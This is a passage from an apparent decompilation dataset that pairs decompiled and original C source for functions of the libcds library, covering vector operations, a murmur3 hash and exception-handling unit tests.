"func8", "repo": "mikedlowis/libcds", "decompiled_code": "__int64 __fastcall vec_at(unsigned __int64 *a1, unsigned __int64 a2)\n{\n__int64 v3; // [rsp+18h] [rbp-8h]\n\nv3 = 0LL;\nif ( a2 < *a1 )\nv3 = *(_QWORD *)(a1[2] + 8 * a2);\nreturn v3;\n}\n", "canonical_decompiled_code": "__int64 __fastcall func8(unsigned __int64 *a1, unsigned __int64 a2)\n{\n__int64 v3; // [rsp+18h] [rbp-8h]\n\nv3 = 0LL;\nif ( a2 < *a1 )\nv3 = *(_QWORD *)(a1[2] + 8 * a2);\nreturn v3;\n}", "original_code": "void* vec_at(vec_t* p_vec, size_t index)\n{\n void* p_ret = ((void *)0);\n if (index < p_vec->size)\n {\n p_ret = p_vec->p_buffer[index];\n }\n return p_ret;\n}", "canonical_original_code": "void *vec_at(struct vec_t *p_vec, unsigned long index)\n{\n void *p_ret = ((void *)0);\n if (index < p_vec->size)\n {\n p_ret = p_vec->p_buffer[index];\n }\n return p_ret;\n}", "variable_types": [ [ "p_vec", "struct vec_t { unsigned long size; unsigned long capacity; void **p_buffer; } *" ], [ "index", "unsigned long" ], [ "p_ret", "void *" ] ], "return_type": "void *", "user_defined_types": [ "struct vec_t { unsigned long size; unsigned long capacity; void **p_buffer; }" ], "binary_hash": "62f205d9a1ad7fbe64e1cdb611230bebf0e4fc0094344258401c521c6b6baa2c" }, { "name": "vec_set", "canonical_name": "func9", "repo": "mikedlowis/libcds", "decompiled_code": "__int64 __fastcall vec_set(unsigned __int64 *a1, unsigned __int64 a2, __int64 a3)\n{\nunsigned __int8 v4; // [rsp+27h] [rbp-1h]\n\nv4 = 0;\nif ( a2 < *a1 )\n{\n*(_QWORD *)(8 * a2 + a1[2]) = a3;\nv4 = 1;\n}\nreturn v4;\n}\n", "canonical_decompiled_code": "__int64 __fastcall func9(unsigned __int64 *a1, unsigned __int64 a2, __int64 a3)\n{\nunsigned __int8 v4; // [rsp+27h] [rbp-1h]\n\nv4 = 0;\nif ( a2 < *a1 )\n{\n*(_QWORD *)(8 * a2 + a1[2]) = a3;\nv4 = 1;\n}\nreturn v4;\n}", "original_code": "_Bool vec_set(vec_t* p_vec, size_t index, void* data)\n{\n _Bool ret = 0;\n if (index < p_vec->size)\n {\n p_vec->p_buffer[index] = data;\n ret = 1;\n }\n return ret;\n}", "canonical_original_code": "_Bool vec_set(struct vec_t *p_vec, unsigned long index, void *data)\n{\n _Bool ret = 0;\n if (index < p_vec->size)\n {\n p_vec->p_buffer[index] = data;\n ret = 1;\n }\n return ret;\n}", "variable_types": [ [ "p_vec", "struct vec_t { unsigned long size; unsigned long capacity; void **p_buffer; } *" ], [ "index", "unsigned long" ], [ "data", "void *" ], [ "ret", "_Bool" ] ], "return_type": "_Bool", "user_defined_types": [ "struct vec_t { unsigned long size; unsigned long capacity; void **p_buffer; }" ], "binary_hash": "62f205d9a1ad7fbe64e1cdb611230bebf0e4fc0094344258401c521c6b6baa2c" }, { "name": "vec_erase", "canonical_name": "func11", "repo": "mikedlowis/libcds", "decompiled_code": "__int64 __fastcall vec_erase(unsigned __int64 *a1, unsigned __int64 a2, unsigned __int64 a3)\n{\nunsigned __int8 v5; // [rsp+2Fh] [rbp-1h]\n\nv5 = 0;\nif ( a2 < *a1 && a3 < *a1 && a2 <= a3 )\n{\nvec_free_range(a1[2], a2, a3 + 1);\nmemmove((void *)(a1[2] + 8 * a2), (const void *)(8 * (a3 + 1) + a1[2]), 8 * (*a1 - a3 - 1));\n*a1 = *a1 + a2 - a3 - 1;\nv5 = 1;\n}\nreturn v5;\n}\n", "canonical_decompiled_code": "__int64 __fastcall func11(unsigned __int64 *a1, unsigned __int64 a2, unsigned __int64 a3)\n{\nunsigned __int8 v5; // [rsp+2Fh] [rbp-1h]\n\nv5 = 0;\nif ( a2 < *a1 && a3 < *a1 && a2 <= a3 )\n{\nfunc14(a1[2], a2, a3 + 1);\nmemmove((void *)(a1[2] + 8 * a2), (const void *)(8 * (a3 + 1) + a1[2]), 8 * (*a1 - a3 - 1));\n*a1 = *a1 + a2 - a3 - 1;\nv5 = 1;\n}\nreturn v5;\n}", "original_code": "_Bool vec_erase(vec_t* p_vec, size_t start_idx, size_t end_idx)\n{\n _Bool ret = 0;\n if ((start_idx < p_vec->size) && (end_idx < p_vec->size) && (start_idx <= end_idx))\n {\n vec_free_range(p_vec->p_buffer, start_idx, end_idx + 1);\n memmove(&(p_vec->p_buffer[start_idx]),\n &(p_vec->p_buffer[end_idx+1]),\n sizeof(void*) * (p_vec->size - end_idx - 1));\n p_vec->size = p_vec->size - ((end_idx - start_idx) + 1);\n ret = 1;\n }\n return ret;\n}", "canonical_original_code": "_Bool vec_erase(struct vec_t *p_vec, unsigned long start_idx, unsigned long end_idx)\n{\n _Bool ret = 0;\n if ((start_idx < p_vec->size) && (end_idx < p_vec->size) && (start_idx <= end_idx))\n {\n vec_free_range(p_vec->p_buffer, start_idx, end_idx + 1);\n memmove(&(p_vec->p_buffer[start_idx]),\n &(p_vec->p_buffer[end_idx+1]),\n sizeof(void *) * (p_vec->size - end_idx - 1));\n p_vec->size = p_vec->size - ((end_idx - start_idx) + 1);\n ret = 1;\n }\n return ret;\n}", "variable_types": [ [ "p_vec", "struct vec_t { unsigned long size; unsigned long capacity; void **p_buffer; } *" ], [ "start_idx", "unsigned long" ], [ "end_idx", "unsigned long" ], [ "ret", "_Bool" ] ], "return_type": "_Bool", "user_defined_types": [ "struct vec_t { unsigned long size; unsigned long capacity; void **p_buffer; }" ], "binary_hash": "62f205d9a1ad7fbe64e1cdb611230bebf0e4fc0094344258401c521c6b6baa2c" }, { "name": "vec_pop_back", "canonical_name": "func12", "repo": "mikedlowis/libcds", "decompiled_code": "__int64 __fastcall vec_pop_back(_QWORD *a1)\n{\n__int64 v2; // [rsp+10h] [rbp-8h]\n\nv2 = 0LL;\nif ( *a1 )\n{\n--*a1;\nv2 = *(_QWORD *)(a1[2] + 8LL * *a1);\n}\nreturn v2;\n}\n", "canonical_decompiled_code": "__int64 __fastcall func12(_QWORD *a1)\n{\n__int64 v2; // [rsp+10h] [rbp-8h]\n\nv2 = 0LL;\nif ( *a1 )\n{\n--*a1;\nv2 = *(_QWORD *)(a1[2] + 8LL * *a1);\n}\nreturn v2;\n}", "original_code": "void* vec_pop_back(vec_t* p_vec)\n{\n void* p_ret = ((void *)0);\n if (p_vec->size > 0)\n {\n p_vec->size = p_vec->size - 1;\n p_ret = p_vec->p_buffer[p_vec->size];\n }\n return p_ret;\n}", "canonical_original_code": "void *vec_pop_back(struct vec_t *p_vec)\n{\n void *p_ret = ((void *)0);\n if (p_vec->size > 0)\n {\n p_vec->size = p_vec->size - 1;\n p_ret = p_vec->p_buffer[p_vec->size];\n }\n return p_ret;\n}", "variable_types": [ [ "p_vec", "struct vec_t { unsigned long size; unsigned long capacity; void **p_buffer; } *" ], [ "p_ret", "void *" ] ], "return_type": "void *", "user_defined_types": [ "struct vec_t { unsigned long size; unsigned long capacity; void **p_buffer; }" ], "binary_hash": "62f205d9a1ad7fbe64e1cdb611230bebf0e4fc0094344258401c521c6b6baa2c" }, { "name": "vec_free", "canonical_name": "func13", "repo": "mikedlowis/libcds", "decompiled_code": "__int64 __fastcall vec_free(__int64 a1)\n{\n__int64 result; // rax\n\nexn_assert(\"source/vector/vec.c\", 202LL, a1 != 0, \"NULL != p_vector\");\nexn_assert(\"source/vector/vec.c\", 203LL, *(_QWORD *)(a1 + 16) != 0LL, \"NULL != p_vector->p_buffer\");\nvec_clear((_QWORD *)a1);\nfree(*(void **)(a1 + 16));\nresult = a1;\n*(_QWORD *)(a1 + 16) = 0LL;\nreturn result;\n}\n", "canonical_decompiled_code": "__int64 __fastcall func13(__int64 a1)\n{\n__int64 result; // rax\n\nexn_assert(\"source/vector/vec.c\", 202LL, a1 != 0, \"NULL != p_vector\");\nexn_assert(\"source/vector/vec.c\", 203LL, *(_QWORD *)(a1 + 16) != 0LL, \"NULL != p_vector->p_buffer\");\nvec_clear((_QWORD *)a1);\nfree(*(void **)(a1 + 16));\nresult = a1;\n*(_QWORD *)(a1 + 16) = 0LL;\nreturn result;\n}", "original_code": "static void vec_free(void* p_vec)\n{\n vec_t* p_vector = (vec_t*)p_vec;\n exn_assert(\"source/vector/vec.c\",202,((void *)0) != p_vector,\"NULL != p_vector\");\n exn_assert(\"source/vector/vec.c\",203,((void *)0) != p_vector->p_buffer,\"NULL != p_vector->p_buffer\");\n vec_clear(p_vector);\n free(p_vector->p_buffer);\n p_vector->p_buffer = ((void *)0);\n}", "canonical_original_code": "static void vec_free(void *p_vec)\n{\n struct vec_t *p_vector = (vec_t*)p_vec;\n exn_assert(\"source/vector/vec.c\",202,((void *)0) != p_vector,\"NULL != p_vector\");\n exn_assert(\"source/vector/vec.c\",203,((void *)0) != p_vector->p_buffer,\"NULL != p_vector->p_buffer\");\n vec_clear(p_vector);\n free(p_vector->p_buffer);\n p_vector->p_buffer = ((void *)0);\n}", "variable_types": [ [ "p_vec", "void *" ], [ "p_vector", "struct vec_t { unsigned long size; unsigned long capacity; void **p_buffer; } *" ] ], "return_type": "void", "user_defined_types": [ "struct vec_t { unsigned long size; unsigned long capacity; void **p_buffer; }" ], "binary_hash": "62f205d9a1ad7fbe64e1cdb611230bebf0e4fc0094344258401c521c6b6baa2c" }, { "name": "vec_free_range", "canonical_name": "func14", "repo": "mikedlowis/libcds", "decompiled_code": "unsigned __int64 __fastcall vec_free_range(__int64 a1, unsigned __int64 a2, unsigned __int64 a3)\n{\nunsigned __int64 result; // rax\n\nexn_assert(\"source/vector/vec.c\", 212LL, a1 != 0, \"NULL != p_buffer\");\nwhile ( 1 )\n{\nresult = a2;\nif ( a2 >= a3 )\nbreak;\nif ( *(_QWORD *)(8 * a2 + a1) )\n{\nmem_release(*(_QWORD *)(8 * a2 + a1));\n*(_QWORD *)(8 * a2 + a1) = 0LL;\n}\n++a2;\n}\nreturn result;\n}\n", "canonical_decompiled_code": "unsigned __int64 __fastcall func14(__int64 a1, unsigned __int64 a2, unsigned __int64 a3)\n{\nunsigned __int64 result; // rax\n\nexn_assert(\"source/vector/vec.c\", 212LL, a1 != 0, \"NULL != p_buffer\");\nwhile ( 1 )\n{\nresult = a2;\nif ( a2 >= a3 )\nbreak;\nif ( *(_QWORD *)(8 * a2 + a1) )\n{\nmem_release(*(_QWORD *)(8 * a2 + a1));\n*(_QWORD *)(8 * a2 + a1) = 0LL;\n}\n++a2;\n}\nreturn result;\n}", "original_code": "static void vec_free_range(void** p_buffer, size_t start_idx, size_t end_idx)\n{\n size_t i;\n exn_assert(\"source/vector/vec.c\",212,((void *)0) != p_buffer,\"NULL != p_buffer\");\n for(i = start_idx; i < end_idx; i++)\n {\n if (((void *)0) != p_buffer[i])\n {\n mem_release(p_buffer[i]);\n p_buffer[i] = ((void *)0);\n }\n }\n}", "canonical_original_code": "static void vec_free_range(void **p_buffer, unsigned long start_idx, unsigned long end_idx)\n{\n unsigned long i;\n exn_assert(\"source/vector/vec.c\",212,((void *)0) != p_buffer,\"NULL != p_buffer\");\n for(i = start_idx; i < end_idx; i++)\n {\n if (((void *)0) != p_buffer[i])\n {\n mem_release(p_buffer[i]);\n p_buffer[i] = ((void *)0);\n }\n }\n}", "variable_types": [ [ "p_buffer", "void **" ], [ "start_idx", "unsigned long" ], [ "end_idx", "unsigned long" ], [ "i", "unsigned long" ] ], "return_type": "void", "user_defined_types": [], "binary_hash": "62f205d9a1ad7fbe64e1cdb611230bebf0e4fc0094344258401c521c6b6baa2c" } ]
65b7b9df8f4b4116ced1dd0897bd0bef078d190fdded3e6c61f1ec440d5cf64b
mikedlowis/libcds
[ [ "murmur3_32", "->" ] ]
[]
[ { "name": "murmur3_32", "canonical_name": "func0", "repo": "mikedlowis/libcds", "decompiled_code": "__int64 __fastcall murmur3_32(__int64 a1, unsigned __int64 a2)\n{\nunsigned __int64 v2; // rax\nunsigned __int8 *v4; // [rsp+18h] [rbp-28h]\nint i; // [rsp+34h] [rbp-Ch]\nint v6; // [rsp+38h] [rbp-8h]\nunsigned int v7; // [rsp+3Ch] [rbp-4h]\nunsigned int v8; // [rsp+3Ch] [rbp-4h]\n\nv7 = 0;\nv4 = (unsigned __int8 *)((int)(4 * (a2 >> 2)) + a1);\nif ( a1 || a2 )\n{\nfor ( i = 0; i < (int)(a2 >> 2); ++i )\nv7 = 5 * __ROL4__((461845907 * __ROL4__(-862048943 * *(_DWORD *)(4LL * i + a1), 15)) ^ v7, 13) - 430675100;\nv6 = 0;\nv2 = a2 & 3;\nif ( v2 == 3 )\n{\nv6 = v4[2] << 16;\n}\nelse\n{\nif ( v2 > 3 )\n{\nLABEL_14:\nv8 = -2048144789 * ((((unsigned int)a2 ^ v7) >> 16) ^ a2 ^ v7);\nreturn ((-1028477387 * ((v8 >> 13) ^ v8)) >> 16) ^ (-1028477387 * ((v8 >> 13) ^ v8));\n}\nif ( v2 == 1 )\n{\nLABEL_13:\nv7 ^= 461845907 * __ROL4__(-862048943 * (*v4 ^ v6), 15);\ngoto LABEL_14;\n}\nif ( v2 != 2 )\ngoto LABEL_14;\n}\nv6 ^= v4[1] << 8;\ngoto LABEL_13;\n}\nreturn v7;\n}\n", "canonical_decompiled_code": "__int64 __fastcall func0(__int64 a1, unsigned __int64 a2)\n{\nunsigned __int64 v2; // rax\nunsigned __int8 *v4; // [rsp+18h] [rbp-28h]\nint i; // [rsp+34h] [rbp-Ch]\nint v6; // [rsp+38h] [rbp-8h]\nunsigned int v7; // [rsp+3Ch] [rbp-4h]\nunsigned int v8; // [rsp+3Ch] [rbp-4h]\n\nv7 = 0;\nv4 = (unsigned __int8 *)((int)(4 * (a2 >> 2)) + a1);\nif ( a1 || a2 )\n{\nfor ( i = 0; i < (int)(a2 >> 2); ++i )\nv7 = 5 * __ROL4__((461845907 * __ROL4__(-862048943 * *(_DWORD *)(4LL * i + a1), 15)) ^ v7, 13) - 430675100;\nv6 = 0;\nv2 = a2 & 3;\nif ( v2 == 3 )\n{\nv6 = v4[2] << 16;\n}\nelse\n{\nif ( v2 > 3 )\n{\nLABEL_14:\nv8 = -2048144789 * ((((unsigned int)a2 ^ v7) >> 16) ^ a2 ^ v7);\nreturn ((-1028477387 * ((v8 >> 13) ^ v8)) >> 16) ^ (-1028477387 * ((v8 >> 13) ^ v8));\n}\nif ( v2 == 1 )\n{\nLABEL_13:\nv7 ^= 461845907 * __ROL4__(-862048943 * (*v4 ^ v6), 15);\ngoto LABEL_14;\n}\nif ( v2 != 2 )\ngoto LABEL_14;\n}\nv6 ^= v4[1] << 8;\ngoto LABEL_13;\n}\nreturn v7;\n}", "original_code": "uint32_t murmur3_32(const uint8_t* data, size_t nbytes)\n{\n uint32_t hash = 0;\n const uint32_t c1 = 0xcc9e2d51;\n const uint32_t c2 = 0x1b873593;\n const int nblocks = nbytes / sizeof(uint32_t);\n const uint32_t* blocks = (const uint32_t *) (data);\n const uint8_t* tail = (const uint8_t *) (data + (nblocks * 4));\n if (data != ((void *)0) || nbytes != 0) {\n uint32_t blk;\n for (int i = 0; i < nblocks; i++) {\n blk = blocks[i];\n blk = blk * c1;\n blk = (blk << 15) | (blk >> (32 - 15));\n blk = blk * c2;\n hash = hash ^ blk;\n hash = (hash << 13) | (hash >> (32 - 13));\n hash = (hash * 5) + 0xe6546b64;\n }\n blk = 0;\n switch (nbytes & 3) {\n case 3:\n blk ^= tail[2] << 16;\n case 2:\n blk ^= tail[1] << 8;\n case 1:\n blk ^= tail[0];\n blk *= c1;\n blk = (blk << 15) | (blk >> (32 - 15));\n blk *= c2;\n hash ^= blk;\n };\n hash = hash ^ nbytes;\n hash = hash ^ (hash >> 16);\n hash = hash * (0x85ebca6b);\n hash = hash ^ (hash >> 13);\n hash = hash * (0xc2b2ae35);\n hash = hash ^ (hash >> 16);\n }\n return hash;\n}", "canonical_original_code": "unsigned int murmur3_32(unsigned char *data, unsigned long nbytes)\n{\n unsigned int hash = 0;\n unsigned int c1 = 0xcc9e2d51;\n unsigned int c2 = 0x1b873593;\n int nblocks = nbytes / sizeof(uint32_t);\n unsigned int *blocks = (const uint32_t *) (data);\n unsigned char *tail = (const uint8_t *) (data + (nblocks * 4));\n if (data != ((void *)0) || nbytes != 0) {\n unsigned int blk;\n for (int i = 0; i < nblocks; i++) {\n blk = blocks[i];\n blk = blk * c1;\n blk = (blk << 15) | (blk >> (32 - 15));\n blk = blk * c2;\n hash = hash ^ blk;\n hash = (hash << 13) | (hash >> (32 - 13));\n hash = (hash * 5) + 0xe6546b64;\n }\n blk = 0;\n switch (nbytes & 3) {\n case 3:\n blk ^= tail[2] << 16;\n case 2:\n blk ^= tail[1] << 8;\n case 1:\n blk ^= tail[0];\n blk *= c1;\n blk = (blk << 15) | (blk >> (32 - 15));\n blk *= c2;\n hash ^= blk;\n };\n hash = hash ^ nbytes;\n hash = hash ^ (hash >> 16);\n hash = hash * (0x85ebca6b);\n hash = hash ^ (hash >> 13);\n hash = hash * (0xc2b2ae35);\n hash = hash ^ (hash >> 16);\n }\n return hash;\n}", "variable_types": [ [ "data", "unsigned char *" ], [ "nbytes", "unsigned long" ], [ "hash", "unsigned int" ], [ "c1", "unsigned int" ], [ "c2", "unsigned int" ], [ "nblocks", "int" ], [ "blocks", "unsigned int *" ], [ "tail", "unsigned char *" ], [ "blk", "unsigned int" ], [ "i", "int" ] ], "return_type": "unsigned int", "user_defined_types": [], "binary_hash": "65b7b9df8f4b4116ced1dd0897bd0bef078d190fdded3e6c61f1ec440d5cf64b" } ]
6ee45a757e6f45faf93e6c642b10f820e96a35a1c46c6747f3bdc8a118b64e51
mikedlowis/libcds
[ [ "exit", "->" ], [ "test_setup", "->", "Exn" ], [ "Exn", "->", "test_setup" ] ]
[]
[ { "name": "exit", "canonical_name": "func0", "repo": "mikedlowis/libcds", "decompiled_code": "void __fastcall __noreturn exit(int a1)\n{\nExit_Status = a1;\nif ( exn_handler() )\n*(_DWORD *)(exn_handler() + 200) = 4;\n}\n", "canonical_decompiled_code": "void __fastcall __noreturn func0(int a1)\n{\nExit_Status = a1;\nif ( exn_handler() )\n*(_DWORD *)(exn_handler() + 200) = 4;\n}", "original_code": "void exit(int status) {\n Exit_Status = status;\n if (((void *)0) != exn_handler())\n exn_handler()->state = EXN_DONE;\n}", "canonical_original_code": "void exit(int status) {\n Exit_Status = status;\n if (((void *)0) != exn_handler())\n exn_handler()->state = EXN_DONE;\n}", "variable_types": [ [ "status", "int" ] ], "return_type": "void", "user_defined_types": [], "binary_hash": "6ee45a757e6f45faf93e6c642b10f820e96a35a1c46c6747f3bdc8a118b64e51" }, { "name": "Exn", "canonical_name": "func2", "repo": "mikedlowis/libcds", "decompiled_code": "__int64 Exn()\n{\nstruct __jmp_buf_tag *v0; // rdi\nstruct __jmp_buf_tag *v1; // rdi\nstruct __jmp_buf_tag *v2; // rdi\nstruct __jmp_buf_tag *v3; // rdi\nstruct __jmp_buf_tag *v4; // rdi\nstruct __jmp_buf_tag *v5; // rdi\nstruct __jmp_buf_tag *v6; // rdi\nstruct __jmp_buf_tag *v7; // rdi\nstruct __jmp_buf_tag *v8; // rdi\nstruct __jmp_buf_tag *v9; // rdi\n__int64 result; // rax\nstruct __jmp_buf_tag *v11; // rdi\nchar v12; // [rsp+Ch] [rbp-24h]\nchar v13; // [rsp+10h] [rbp-20h]\nchar v14; // [rsp+14h] [rbp-1Ch]\nchar v15; // [rsp+18h] [rbp-18h]\nchar v16; // [rsp+1Ch] [rbp-14h]\nchar v17; // [rsp+1Ch] [rbp-14h]\nchar v18; // [rsp+20h] [rbp-10h]\nchar v19; // [rsp+24h] [rbp-Ch]\nchar v20; // [rsp+28h] [rbp-8h]\nchar v21; // [rsp+2Ch] [rbp-4h]\n\nCurr_Test = \"Verify_a_catch_block_will_catch_a_matching_exception\";\n++Test_Results;\ntest_setup();\nif ( !(unsigned int)test_start() )\n{\nfor ( Loop_Var = 0; Loop_Var <= 0; ++Loop_Var )\n{\nv21 = 0;\nexn_prep();\nv0 = (struct __jmp_buf_tag *)exn_handler();\nsetjmp(v0);\nwhile ( (unsigned __int8)exn_process() )\n{\nif ( *(_DWORD *)(exn_handler() + 200) == 1 )\n{\nexn_throw(\"tests/test_exn.c\", 42LL, &RuntimeException, 0LL);\nv21 |= 3u;\n}\nelse if ( *(_DWORD *)(exn_handler() + 200) == 2 && (unsigned __int8)exn_catch(&RuntimeException) )\n{\nv21 |= 4u;\n}\n}\nif ( (v21 & 1) == 0 )\n{\ntest_fail(\"state.branch0 == 1\", \"tests/test_exn.c\", 46LL);\nbreak;\n}\nif ( (v21 & 2) != 0 )\n{\ntest_fail(\"state.branch1 == 0\", \"tests/test_exn.c\", 47LL);\nbreak;\n}\nif ( (v21 & 4) == 0 )\n{\ntest_fail(\"state.branch2 == 1\", \"tests/test_exn.c\", 48LL);\nbreak;\n}\n}\n}\nCurr_Test = \"Verify_a_catch_block_will_catch_a_matching_exception_by_hierarchy\";\n++Test_Results;\ntest_setup();\nif ( !(unsigned int)test_start() )\n{\nfor ( Loop_Var = 0; Loop_Var <= 0; ++Loop_Var )\n{\nv20 = 0;\nexn_prep();\nv1 = (struct __jmp_buf_tag *)exn_handler();\nsetjmp(v1);\nwhile ( (unsigned __int8)exn_process() )\n{\nif ( *(_DWORD *)(exn_handler() + 200) == 1 )\n{\nexn_throw(\"tests/test_exn.c\", 57LL, &AssertionException, 0LL);\nv20 |= 3u;\n}\nelse if ( *(_DWORD *)(exn_handler() + 200) == 2 && (unsigned __int8)exn_catch(&RuntimeException) )\n{\nv20 |= 4u;\n}\n}\nif ( (v20 & 1) == 0 )\n{\ntest_fail(\"state.branch0 == 1\", \"tests/test_exn.c\", 61LL);\nbreak;\n}\nif ( (v20 & 2) != 0 )\n{\ntest_fail(\"state.branch1 == 0\", \"tests/test_exn.c\", 62LL);\nbreak;\n}\nif ( (v20 & 4) == 0 )\n{\ntest_fail(\"state.branch2 == 1\", \"tests/test_exn.c\", 63LL);\nbreak;\n}\n}\n}\nCurr_Test = \"Verify_the_first_matching_catch_block_is_executed\";\n++Test_Results;\ntest_setup();\nif ( !(unsigned int)test_start() )\n{\nfor ( Loop_Var = 0; Loop_Var <= 0; ++Loop_Var )\n{\nv19 = 0;\nexn_prep();\nv2 = (struct __jmp_buf_tag *)exn_handler();\nsetjmp(v2);\nwhile ( (unsigned __int8)exn_process() )\n{\nif ( *(_DWORD *)(exn_handler() + 200) == 1 )\n{\nexn_throw(\"tests/test_exn.c\", 72LL, &AssertionException, 0LL);\nv19 |= 3u;\n}\nelse if ( *(_DWORD *)(exn_handler() + 200) == 2 && (unsigned __int8)exn_catch(&RuntimeException) )\n{\nv19 |= 4u;\n}\nelse if ( *(_DWORD *)(exn_handler() + 200) == 2 && (unsigned __int8)exn_catch(&AssertionException) )\n{\nv19 |= 8u;\n}\n}\nif ( (v19 & 1) == 0 )\n{\ntest_fail(\"state.branch0 == 1\", \"tests/test_exn.c\", 78LL);\nbreak;\n}\nif ( (v19 & 2) != 0 )\n{\ntest_fail(\"state.branch1 == 0\", \"tests/test_exn.c\", 79LL);\nbreak;\n}\nif ( (v19 & 4) == 0 )\n{\ntest_fail(\"state.branch2 == 1\", \"tests/test_exn.c\", 80LL);\nbreak;\n}\nif ( (v19 & 8) != 0 )\n{\ntest_fail(\"state.branch3 == 0\", \"tests/test_exn.c\", 81LL);\nbreak;\n}\n}\n}\nCurr_Test = \"Verify_non_matching_catch_blocks_are_ignored\";\n++Test_Results;\ntest_setup();\nif ( !(unsigned int)test_start() )\n{\nfor ( Loop_Var = 0; Loop_Var <= 0; ++Loop_Var )\n{\nv18 = 0;\nexn_prep();\nv3 = (struct __jmp_buf_tag *)exn_handler();\nsetjmp(v3);\nwhile ( (unsigned __int8)exn_process() )\n{\nif ( *(_DWORD *)(exn_handler() + 200) == 1 )\n{\nexn_throw(\"tests/test_exn.c\", 90LL, &AssertionException, 0LL);\nv18 |= 3u;\n}\nelse if ( *(_DWORD *)(exn_handler() + 200) == 2 && (unsigned __int8)exn_catch(&AbortException) )\n{\nv18 |= 4u;\n}\nelse if ( *(_DWORD *)(exn_handler() + 200) == 2 && (unsigned __int8)exn_catch(&RuntimeException) )\n{\nv18 |= 8u;\n}\nelse if ( *(_DWORD *)(exn_handler() + 200) == 2 && (unsigned __int8)exn_catch(&AssertionException) )\n{\nv18 |= 0x10u;\n}\n}\nif ( (v18 & 1) == 0 )\n{\ntest_fail(\"state.branch0 == 1\", \"tests/test_exn.c\", 98LL);\nbreak;\n}\nif ( (v18 & 2) != 0 )\n{\ntest_fail(\"state.branch1 == 0\", \"tests/test_exn.c\", 99LL);\nbreak;\n}\nif ( (v18 & 4) != 0 )\n{\ntest_fail(\"state.branch2 == 0\", \"tests/test_exn.c\", 100LL);\nbreak;\n}\nif ( (v18 & 8) == 0 )\n{\ntest_fail(\"state.branch3 == 1\", \"tests/test_exn.c\", 101LL);\nbreak;\n}\nif ( (v18 & 0x10) != 0 )\n{\ntest_fail(\"state.branch4 == 0\", \"tests/test_exn.c\", 102LL);\nbreak;\n}\n}\n}\nCurr_Test = \"Verify_an_uncaught_exception_will_be_rethrown\";\n++Test_Results;\ntest_setup();\nif ( !(unsigned int)test_start() )\n{\nfor ( Loop_Var = 0; Loop_Var <= 0; ++Loop_Var )\n{\nv16 = 0;\nexn_prep();\nv4 = (struct __jmp_buf_tag *)exn_handler();\nsetjmp(v4);\nwhile ( (unsigned __int8)exn_process() )\n{\nif ( *(_DWORD *)(exn_handler() + 200) == 1 )\n{\nv17 = v16 | 1;\nexn_prep();\nv5 = (struct __jmp_buf_tag *)exn_handler();\nsetjmp(v5);\nwhile ( (unsigned __int8)exn_process() )\n{\nif ( *(_DWORD *)(exn_handler() + 200) == 1 )\n{\nexn_throw(\"tests/test_exn.c\", 113LL, &RuntimeException, 0LL);\nv17 |= 6u;\n}\nelse if ( *(_DWORD *)(exn_handler() + 200) == 2 && (unsigned __int8)exn_catch(&AssertionException) )\n{\nv17 |= 8u;\n}\n}\nv16 = v17 | 0x10;\n}\nelse if ( *(_DWORD *)(exn_handler() + 200) == 2 && (unsigned __int8)exn_catch(&RuntimeException) )\n{\nv16 |= 0x20u;\n}\n}\nif ( (v16 & 1) == 0 )\n{\ntest_fail(\"state.branch0 == 1\", \"tests/test_exn.c\", 121LL);\nbreak;\n}\nif ( (v16 & 2) == 0 )\n{\ntest_fail(\"state.branch1 == 1\", \"tests/test_exn.c\", 122LL);\nbreak;\n}\nif ( (v16 & 4) != 0 )\n{\ntest_fail(\"state.branch2 == 0\", \"tests/test_exn.c\", 123LL);\nbreak;\n}\nif ( (v16 & 8) != 0 )\n{\ntest_fail(\"state.branch3 == 0\", \"tests/test_exn.c\", 124LL);\nbreak;\n}\nif ( (v16 & 0x10) != 0 )\n{\ntest_fail(\"state.branch4 == 0\", \"tests/test_exn.c\", 125LL);\nbreak;\n}\nif ( (v16 & 0x20) == 0 )\n{\ntest_fail(\"state.branch5 == 1\", \"tests/test_exn.c\", 126LL);\nbreak;\n}\n}\n}\nCurr_Test = \"Verify_a_finally_block_is_executed_after_an_uncaught_exception_is_thrown\";\n++Test_Results;\ntest_setup();\nif ( !(unsigned int)test_start() )\n{\nfor ( Loop_Var = 0; Loop_Var <= 0; ++Loop_Var )\n{\nv15 = 0;\nexn_prep();\nv6 = (struct __jmp_buf_tag *)exn_handler();\nsetjmp(v6);\nwhile ( (unsigned __int8)exn_process() )\n{\nif ( *(_DWORD *)(exn_handler() + 200) == 1 )\n{\nv15 |= 1u;\nexn_prep();\nv7 = (struct __jmp_buf_tag *)exn_handler();\nsetjmp(v7);\nwhile ( (unsigned __int8)exn_process() )\n{\nif ( *(_DWORD *)(exn_handler() + 200) == 1 )\n{\nexn_throw(\"tests/test_exn.c\", 139LL, &RuntimeException, 0LL);\nv15 |= 2u;\n}\nelse if ( *(_DWORD *)(exn_handler() + 200) == 3 )\n{\nv15 |= 4u;\n}\n}\n}\nelse if ( *(_DWORD *)(exn_handler() + 200) == 2 && (unsigned __int8)exn_catch(&RuntimeException) )\n{\nv15 |= 8u;\n}\n}\nif ( (v15 & 1) == 0 )\n{\ntest_fail(\"state.branch0 == 1\", \"tests/test_exn.c\", 144LL);\nbreak;\n}\nif ( (v15 & 2) != 0 )\n{\ntest_fail(\"state.branch1 == 0\", \"tests/test_exn.c\", 145LL);\nbreak;\n}\nif ( (v15 & 4) == 0 )\n{\ntest_fail(\"state.branch2 == 1\", \"tests/test_exn.c\", 146LL);\nbreak;\n}\nif ( (v15 & 8) == 0 )\n{\ntest_fail(\"state.branch3 == 1\", \"tests/test_exn.c\", 147LL);\nbreak;\n}\n}\n}\nCurr_Test = \"Verify_a_finally_block_is_executed_after_a_succesful_try_block\";\n++Test_Results;\ntest_setup();\nif ( !(unsigned int)test_start() )\n{\nfor ( Loop_Var = 0; Loop_Var <= 0; ++Loop_Var )\n{\nv14 = 0;\nexn_prep();\nv8 = (struct __jmp_buf_tag *)exn_handler();\nsetjmp(v8);\nwhile ( (unsigned __int8)exn_process() )\n{\nif ( *(_DWORD *)(exn_handler() + 200) == 1 )\n{\nv14 |= 1u;\n}\nelse if ( *(_DWORD *)(exn_handler() + 200) == 2 && (unsigned __int8)exn_catch(&RuntimeException) )\n{\nv14 |= 2u;\n}\nelse if ( *(_DWORD *)(exn_handler() + 200) == 3 )\n{\nv14 |= 4u;\n}\n}\nif ( (v14 & 1) == 0 )\n{\ntest_fail(\"state.branch0 == 1\", \"tests/test_exn.c\", 158LL);\nbreak;\n}\nif ( (v14 & 2) != 0 )\n{\ntest_fail(\"state.branch1 == 0\", \"tests/test_exn.c\", 159LL);\nbreak;\n}\nif ( (v14 & 